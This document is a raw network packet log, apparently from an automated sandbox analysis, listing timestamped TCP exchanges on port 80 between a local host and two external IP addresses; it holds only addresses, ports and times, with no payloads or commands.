Sep 11, 2024 16:22:18.386646986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386652946 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386660099 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386670113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386683941 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386687040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386703014 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386723995 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386868000 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386878967 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386889935 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386935949 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386960983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386970997 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386981010 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386982918 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.386993885 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.386998892 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.387005091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.387016058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.387032032 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.387049913 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.387052059 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.387062073 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.387073040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.387077093 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.387084961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.387110949 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.387123108 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.387126923 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.387137890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.387151003 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.387156010 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.387161016 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.387171984 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.387190104 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.388263941 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388289928 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388302088 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388314009 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388350964 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388359070 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388367891 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388375998 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388401031 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388422966 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388436079 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388447046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388474941 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388657093 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388669014 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388680935 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388705015 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388730049 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388740063 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388751030 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388761044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388772964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388783932 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388797998 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388818979 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388837099 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388848066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388858080 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388870001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388880014 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388881922 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388891935 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388902903 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.388907909 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388916016 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388942957 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.388991117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389002085 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389013052 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389022112 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389029980 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389034033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389045954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389054060 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389058113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389075041 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389082909 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389091969 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389116049 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389130116 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389139891 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389148951 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389159918 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389168978 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389173985 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389182091 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389184952 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389200926 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389219999 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389225006 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389235020 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389245033 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389272928 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389286041 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389306068 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389317989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389332056 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389341116 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389347076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389358044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389358997 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389372110 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389393091 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389425039 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389436960 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389446020 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389468908 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389487982 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389624119 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389636040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389646053 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389672041 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389681101 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389714956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389725924 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389735937 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389748096 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389750004 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389758110 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389760971 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389784098 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389805079 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389929056 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389940023 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389950037 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389966965 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389976978 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389980078 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.389987946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.389998913 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390001059 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390010118 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390021086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390022039 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390033007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390043020 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390043974 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390054941 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390064955 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390068054 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390068054 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390077114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390091896 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390100956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390100956 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390110970 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390121937 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390125036 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390144110 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390166044 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390222073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390232086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390243053 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390258074 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390266895 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390285969 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390292883 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390304089 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390314102 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390330076 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390336990 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390347958 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390355110 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390360117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390374899 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390398026 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390443087 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390454054 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390465021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390476942 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390486956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390494108 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390496969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390506983 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390508890 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390522003 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390547991 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390548944 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390558958 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390564919 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390564919 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390571117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390583992 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390587091 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390594959 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390604019 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390610933 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390631914 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390675068 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390686035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390696049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390701056 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390711069 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390742064 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390752077 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390793085 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390803099 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390813112 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390840054 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390875101 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390887976 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390899897 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390909910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390921116 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390933037 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.390935898 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390955925 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.390968084 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.391011953 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.391022921 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.391031981 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.391042948 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.391053915 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.391082048 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.391103029 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.391113997 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.391124010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.391141891 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.391153097 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.409020901 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.409039021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.409050941 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.409111977 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.409152985 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.409565926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.409576893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.409589052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.409600973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.409612894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.409626961 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.409655094 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.409957886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.409969091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.409979105 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.409990072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.410001040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.410006046 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.410012007 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.410017014 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.410023928 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.410051107 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.410069942 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.416517973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416532993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416544914 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416583061 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.416604996 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.416671038 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416682005 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416692972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416704893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416731119 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.416739941 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416743040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.416750908 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416762114 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416774035 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416785955 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.416802883 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.416815996 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416826963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416830063 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.416837931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416846991 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.416850090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416861057 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416873932 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.416906118 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.416922092 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416930914 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416941881 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416951895 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416963100 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.416963100 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.416990995 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417006969 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417007923 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417016983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417052984 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417339087 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417349100 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417354107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417382956 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417392969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417406082 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417407036 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417418003 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417429924 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417443991 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417448997 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417459965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417471886 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417475939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417481899 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417485952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417505980 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417517900 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417578936 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417589903 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417602062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417612076 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417613029 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417623997 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417645931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417656898 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417663097 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417684078 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417696953 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417768955 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417779922 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417789936 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417799950 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417807102 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417810917 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417821884 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417823076 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417833090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417845011 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417856932 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417865992 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417872906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417901993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417912006 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417926073 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.417932987 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417932987 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.417932987 CEST	49735	80	192.168.2.4	147.45.44.104
